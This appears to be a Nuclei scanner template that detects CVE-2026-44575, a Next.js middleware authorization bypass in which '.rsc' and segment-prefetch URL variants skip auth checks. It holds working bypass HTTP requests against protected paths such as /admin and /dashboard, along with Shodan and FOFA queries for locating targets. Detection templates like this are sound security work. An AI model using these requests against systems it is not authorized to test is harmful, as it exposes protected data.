id: CVE-2026-44575 info: name: Next.js <=16.2.4 - Middleware Authorization Bypass via App Router Segment-Prefetch URLs author: dwisiswant0 severity: high description: | Next.js up to v16.2.4 compiles `middleware.ts` matchers (e.g. `matcher: '/dashboard/:path*'`) into a regular expression in `getMiddlewareMatchers` whose trailing data-suffix group only accepts the Pages-Router `(.json)?` variant. The compiled regex does NOT include the App Router transport variants `.rsc` (full-route RSC payload) and `.segments/$c$children/__PAGE__.segment.rsc` (segment-prefetch payload). All three URL forms resolve to the same App Router page on the server, so an attacker can request the `.rsc` or `.segments/.../*.segment.rsc` form of a protected route and the edge router will skip the middleware auth check entirely while the App Router still renders the page and returns the RSC flight payload (Content-Type: text/x-component) — a full authorization bypass and information disclosure of the protected page's server-rendered tree. reference: - https://github.com/dwisiswant0/next-16.2.4-pocs - https://github.com/dwisiswant0/next-16.2.4-pocs/tree/main/poc/CVE-2026-44575_GHSA-267c-6grr-h53f - https://github.com/vercel/next.js/security/advisories/GHSA-267c-6grr-h53f - https://nvd.nist.gov/vuln/detail/CVE-2026-44575 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2026-44575 cwe-id: CWE-863,CWE-288 metadata: verified: true max-request: 3 vendor: vercel product: next.js framework: next.js shodan-query: http.html:"__NEXT_DATA__" fofa-query: app="Next.js" tags: cve,cve2026,nextjs,next,vercel,authz-bypass,middleware,rsc http: - raw: # Step 1 - canonical path baseline. Should be gated by middleware (3xx/401/403). - | GET {{protected_path}} HTTP/1.1 Host: {{Hostname}} Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.9 Cache-Control: no-cache # Step 2 - .rsc transport variant. # Pre-patch matcher regex misses `.rsc`, middleware is skipped, the App Router # still dispatches the protected page and returns the RSC flight payload. - | GET {{protected_path}}.rsc HTTP/1.1 Host: {{Hostname}} RSC: 1 Next-Router-Prefetch: 1 Next-Router-State-Tree: ["",{}] Accept: text/x-component Cache-Control: no-cache # Step 3 - segment-prefetch transport variant. - | GET {{protected_path}}.segments/$c$children/__PAGE__.segment.rsc HTTP/1.1 Host: {{Hostname}} RSC: 1 Next-Router-Segment-Prefetch: /__PAGE__ Accept: text/x-component Cache-Control: no-cache payloads: protected_path: - "/dashboard" - "/admin" - "/account" - "/settings" attack: pitchfork unsafe: true cookie-reuse: true stop-at-first-match: false matchers-condition: or matchers: # .rsc variant bypass - type: dsl name: rsc-suffix-bypass dsl: - 'status_code_1 == 307 || status_code_1 == 302 || status_code_1 == 303 || status_code_1 == 308 || status_code_1 == 401 || status_code_1 == 403' - 'status_code_2 == 200' - 'contains(tolower(header_2), "text/x-component")' condition: and # .segments/.../*.segment.rsc variant bypass - type: dsl name: segment-prefetch-bypass dsl: - 'status_code_1 == 307 || status_code_1 == 302 || status_code_1 == 303 || status_code_1 == 308 || status_code_1 == 401 || status_code_1 == 403' - 'status_code_3 == 200' - 'contains(tolower(header_3), "text/x-component")' condition: and extractors: - type: kval name: baseline-location part: header_1 kval: - location - type: kval name: rsc-content-type part: header_2 kval: - content_type - type: regex name: rsc-flight-prefix part: body_2 regex: - '^[0-9a-f]+:' # digest: 4a0a00473045022100c4d5e6f7a8b9c0d1e2f3a4b5c6d7e8f9a0b1c2d3e4f5a6b7c8d9e0f1a2b3c4d50220 v3.0.0